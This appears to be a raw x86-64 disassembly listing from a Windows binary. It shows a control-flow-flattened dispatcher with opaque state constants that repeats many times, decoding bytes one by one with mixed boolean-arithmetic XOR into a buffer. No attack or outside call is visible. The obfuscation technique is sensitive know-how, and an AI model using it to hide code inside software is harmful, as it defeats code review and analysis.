mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140004eb0
cmp eax, 0x54254c19
jg 0x140004ee0
cmp eax, 0x413ac401
je 0x140004f38
cmp eax, 0x4de8461d
je 0x140004f57
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140004e70
mov edx, r9d
jmp 0x140004e70
cmp eax, 0xd13082ef
jle 0x140004f0d
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140004e70
cmp eax, 0xe0d67025
je 0x140004f71
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140004e70
mov edx, esi
jmp 0x140004e70
cmp eax, 0x54254c1a
je 0x140004f7b
cmp eax, 0x62439574
je 0x140004e44
mov edx, eax
cmp eax, 0x76479a56
jne 0x140004e70
mov edx, 0x4ec8e6fe
jmp 0x140004e70
cmp eax, 0x8ceadef2
je 0x140004fa1
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140004e70
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140004e70
jmp 0x140005485
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140004e70
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 7]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140004e70
mov edx, 0x4de8461d
jmp 0x140004e70
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140004e70
mov edx, 0x9ce81538
jmp 0x140004e70
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 5], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x30]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r10, r15
mov eax, 0x413ac401
jmp 0x140005010
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140005050
cmp ecx, 0x54254c19
jg 0x140005080
cmp ecx, 0x413ac401
je 0x1400050dd
cmp ecx, 0x4de8461d
je 0x1400050fc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140005010
mov eax, esi
jmp 0x140005010
cmp ecx, 0xd13082ef
jle 0x1400050b0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140005010
cmp ecx, 0xe0d67025
je 0x140005116
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140005010
mov eax, r13d
jmp 0x140005010
cmp ecx, 0x54254c1a
je 0x140005120
cmp ecx, 0x62439574
je 0x140004fde
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140005010
mov eax, 0x4ec8e6fe
jmp 0x140005010
cmp ecx, 0x8ceadef2
je 0x140005147
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140005010
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140005010
jmp 0x14000561b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140005010
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x30]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140005010
mov eax, 0x4de8461d
jmp 0x140005010
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x140005010
mov eax, 0x9ce81538
jmp 0x140005010
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 5], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400051a0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400051e0
cmp ecx, 0x54254c19
jg 0x140005210
cmp ecx, 0x413ac401
je 0x14000526d
cmp ecx, 0x4de8461d
je 0x14000528c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400051a0
mov eax, edi
jmp 0x1400051a0
cmp ecx, 0xd13082ef
jle 0x140005240
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400051a0
cmp ecx, 0xe0d67025
je 0x1400052aa
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400051a0
mov eax, r11d
jmp 0x1400051a0
cmp ecx, 0x54254c1a
je 0x1400052b4
cmp ecx, 0x62439574
je 0x140005178
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400051a0
mov eax, 0x4ec8e6fe
jmp 0x1400051a0
cmp ecx, 0x8ceadef2
je 0x1400052db
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400051a0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400051a0
jmp 0x1400057c1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400051a0
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 6]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400051a0
mov eax, 0x4de8461d
jmp 0x1400051a0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x1400051a0
mov eax, 0x9ce81538
jmp 0x1400051a0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 6], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140005340
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140005380
cmp ecx, 0x54254c19
jg 0x1400053b0
cmp ecx, 0x413ac401
je 0x14000540d
cmp ecx, 0x4de8461d
je 0x14000542c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140005340
mov eax, edi
jmp 0x140005340
cmp ecx, 0xd13082ef
jle 0x1400053e0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140005340
cmp ecx, 0xe0d67025
je 0x14000544a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140005340
mov eax, r11d
jmp 0x140005340
cmp ecx, 0x54254c1a
je 0x140005454
cmp ecx, 0x62439574
je 0x14000530c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140005340
mov eax, 0x4ec8e6fe
jmp 0x140005340
cmp ecx, 0x8ceadef2
je 0x14000547b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140005340
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140005340
jmp 0x140005955
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140005340
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 7]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140005340
mov eax, 0x4de8461d
jmp 0x140005340
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140005340
mov eax, 0x9ce81538
jmp 0x140005340
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 7], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 8]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x1400054e0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140005520
cmp eax, 0x54254c19
jg 0x140005550
cmp eax, 0x413ac401
je 0x1400055a8
cmp eax, 0x4de8461d
je 0x1400055c7
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x1400054e0
mov edx, r9d
jmp 0x1400054e0
cmp eax, 0xd13082ef
jle 0x14000557d
mov edx, r8d
cmp eax, 0xd13082f0
je 0x1400054e0
cmp eax, 0xe0d67025
je 0x1400055e1
mov edx, eax
cmp eax, 0x216c1d41
jne 0x1400054e0
mov edx, esi
jmp 0x1400054e0
cmp eax, 0x54254c1a
je 0x1400055eb
cmp eax, 0x62439574
je 0x1400054b4
mov edx, eax
cmp eax, 0x76479a56
jne 0x1400054e0
mov edx, 0x4ec8e6fe
jmp 0x1400054e0
cmp eax, 0x8ceadef2
je 0x140005611
mov edx, r10d
cmp eax, 0x9ce81538
je 0x1400054e0
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x1400054e0
jmp 0x140005af5
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x1400054e0
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 8]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x1400054e0
mov edx, 0x4de8461d
jmp 0x1400054e0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x1400054e0
mov edx, 0x9ce81538
jmp 0x1400054e0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 6], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x31]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r10, r15
mov eax, 0x413ac401
jmp 0x140005680
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400056c0
cmp ecx, 0x54254c19
jg 0x1400056f0
cmp ecx, 0x413ac401
je 0x14000574d
cmp ecx, 0x4de8461d
je 0x14000576c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140005680
mov eax, esi
jmp 0x140005680
cmp ecx, 0xd13082ef
jle 0x140005720
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140005680
cmp ecx, 0xe0d67025
je 0x140005786
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140005680
mov eax, r13d
jmp 0x140005680
cmp ecx, 0x54254c1a
je 0x140005790
cmp ecx, 0x62439574
je 0x14000564e
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140005680
mov eax, 0x4ec8e6fe
jmp 0x140005680
cmp ecx, 0x8ceadef2
je 0x1400057b7
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140005680
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140005680
jmp 0x140005c8b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140005680
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x31]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140005680
mov eax, 0x4de8461d
jmp 0x140005680
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x140005680
mov eax, 0x9ce81538
jmp 0x140005680
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 6], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140005810
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140005850
cmp ecx, 0x54254c19
jg 0x140005880
cmp ecx, 0x413ac401
je 0x1400058dd
cmp ecx, 0x4de8461d
je 0x1400058fc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140005810
mov eax, edi
jmp 0x140005810
cmp ecx, 0xd13082ef
jle 0x1400058b0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140005810
cmp ecx, 0xe0d67025
je 0x14000591a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140005810
mov eax, r11d
jmp 0x140005810
cmp ecx, 0x54254c1a
je 0x140005924
cmp ecx, 0x62439574
je 0x1400057e8
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140005810
mov eax, 0x4ec8e6fe
jmp 0x140005810
cmp ecx, 0x8ceadef2
je 0x14000594b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140005810
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140005810
jmp 0x140005e31
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140005810
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 7]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140005810
mov eax, 0x4de8461d
jmp 0x140005810
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140005810
mov eax, 0x9ce81538
jmp 0x140005810
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 7], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400059b0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400059f0
cmp ecx, 0x54254c19
jg 0x140005a20
cmp ecx, 0x413ac401
je 0x140005a7d
cmp ecx, 0x4de8461d
je 0x140005a9c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400059b0
mov eax, edi
jmp 0x1400059b0
cmp ecx, 0xd13082ef
jle 0x140005a50
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400059b0
cmp ecx, 0xe0d67025
je 0x140005aba
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400059b0
mov eax, r11d
jmp 0x1400059b0
cmp ecx, 0x54254c1a
je 0x140005ac4
cmp ecx, 0x62439574
je 0x14000597c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400059b0
mov eax, 0x4ec8e6fe
jmp 0x1400059b0
cmp ecx, 0x8ceadef2
je 0x140005aeb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400059b0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400059b0
jmp 0x140005fc5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400059b0
lea rax, [r15 + 0x63]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 8]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400059b0
mov eax, 0x4de8461d
jmp 0x1400059b0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x1400059b0
mov eax, 0x9ce81538
jmp 0x1400059b0
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 8], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 9]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140005b50
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140005b90
cmp eax, 0x54254c19
jg 0x140005bc0
cmp eax, 0x413ac401
je 0x140005c18
cmp eax, 0x4de8461d
je 0x140005c37
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140005b50
mov edx, r9d
jmp 0x140005b50
cmp eax, 0xd13082ef
jle 0x140005bed
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140005b50
cmp eax, 0xe0d67025
je 0x140005c51
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140005b50
mov edx, esi
jmp 0x140005b50
cmp eax, 0x54254c1a
je 0x140005c5b
cmp eax, 0x62439574
je 0x140005b24
mov edx, eax
cmp eax, 0x76479a56
jne 0x140005b50
mov edx, 0x4ec8e6fe
jmp 0x140005b50
cmp eax, 0x8ceadef2
je 0x140005c81
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140005b50
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140005b50
jmp 0x140006165
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140005b50
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 9]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140005b50
mov edx, 0x4de8461d
jmp 0x140005b50
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140005b50
mov edx, 0x9ce81538
jmp 0x140005b50
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 7], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x32]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r10, r15
mov eax, 0x413ac401
jmp 0x140005cf0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140005d30
cmp ecx, 0x54254c19
jg 0x140005d60
cmp ecx, 0x413ac401
je 0x140005dbd
cmp ecx, 0x4de8461d
je 0x140005ddc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140005cf0
mov eax, esi
jmp 0x140005cf0
cmp ecx, 0xd13082ef
jle 0x140005d90
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140005cf0
cmp ecx, 0xe0d67025
je 0x140005df6
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140005cf0
mov eax, r13d
jmp 0x140005cf0
cmp ecx, 0x54254c1a
je 0x140005e00
cmp ecx, 0x62439574
je 0x140005cbe
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140005cf0
mov eax, 0x4ec8e6fe
jmp 0x140005cf0
cmp ecx, 0x8ceadef2
je 0x140005e27
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140005cf0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140005cf0
jmp 0x1400062fb
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140005cf0
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x32]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140005cf0
mov eax, 0x4de8461d
jmp 0x140005cf0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x140005cf0
mov eax, 0x9ce81538
jmp 0x140005cf0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 7], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140005e80
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140005ec0
cmp ecx, 0x54254c19
jg 0x140005ef0
cmp ecx, 0x413ac401
je 0x140005f4d
cmp ecx, 0x4de8461d
je 0x140005f6c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140005e80
mov eax, edi
jmp 0x140005e80
cmp ecx, 0xd13082ef
jle 0x140005f20
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140005e80
cmp ecx, 0xe0d67025
je 0x140005f8a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140005e80
mov eax, r11d
jmp 0x140005e80
cmp ecx, 0x54254c1a
je 0x140005f94
cmp ecx, 0x62439574
je 0x140005e58
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140005e80
mov eax, 0x4ec8e6fe
jmp 0x140005e80
cmp ecx, 0x8ceadef2
je 0x140005fbb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140005e80
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140005e80
jmp 0x1400064a1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140005e80
lea rax, [r15 + 0x63]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 8]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140005e80
mov eax, 0x4de8461d
jmp 0x140005e80
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140005e80
mov eax, 0x9ce81538
jmp 0x140005e80
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 8], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140006020
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140006060
cmp ecx, 0x54254c19
jg 0x140006090
cmp ecx, 0x413ac401
je 0x1400060ed
cmp ecx, 0x4de8461d
je 0x14000610c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140006020
mov eax, edi
jmp 0x140006020
cmp ecx, 0xd13082ef
jle 0x1400060c0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140006020
cmp ecx, 0xe0d67025
je 0x14000612a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140006020
mov eax, r11d
jmp 0x140006020
cmp ecx, 0x54254c1a
je 0x140006134
cmp ecx, 0x62439574
je 0x140005fec
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140006020
mov eax, 0x4ec8e6fe
jmp 0x140006020
cmp ecx, 0x8ceadef2
je 0x14000615b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140006020
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140006020
jmp 0x140006635
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140006020
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 9]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140006020
mov eax, 0x4de8461d
jmp 0x140006020
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140006020
mov eax, 0x9ce81538
jmp 0x140006020
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 9], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 0xa]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x1400061c0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140006200
cmp eax, 0x54254c19
jg 0x140006230
cmp eax, 0x413ac401
je 0x140006288
cmp eax, 0x4de8461d
je 0x1400062a7
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x1400061c0
mov edx, r9d
jmp 0x1400061c0
cmp eax, 0xd13082ef
jle 0x14000625d
mov edx, r8d
cmp eax, 0xd13082f0
je 0x1400061c0
cmp eax, 0xe0d67025
je 0x1400062c1
mov edx, eax
cmp eax, 0x216c1d41
jne 0x1400061c0
mov edx, esi
jmp 0x1400061c0
cmp eax, 0x54254c1a
je 0x1400062cb
cmp eax, 0x62439574
je 0x140006194
mov edx, eax
cmp eax, 0x76479a56
jne 0x1400061c0
mov edx, 0x4ec8e6fe
jmp 0x1400061c0
cmp eax, 0x8ceadef2
je 0x1400062f1
mov edx, r10d
cmp eax, 0x9ce81538
je 0x1400061c0
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x1400061c0
jmp 0x1400067d5
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x1400061c0
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 0xa]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x1400061c0
mov edx, 0x4de8461d
jmp 0x1400061c0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x1400061c0
mov edx, 0x9ce81538
jmp 0x1400061c0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 8], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x33]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r10, r15
mov eax, 0x413ac401
jmp 0x140006360
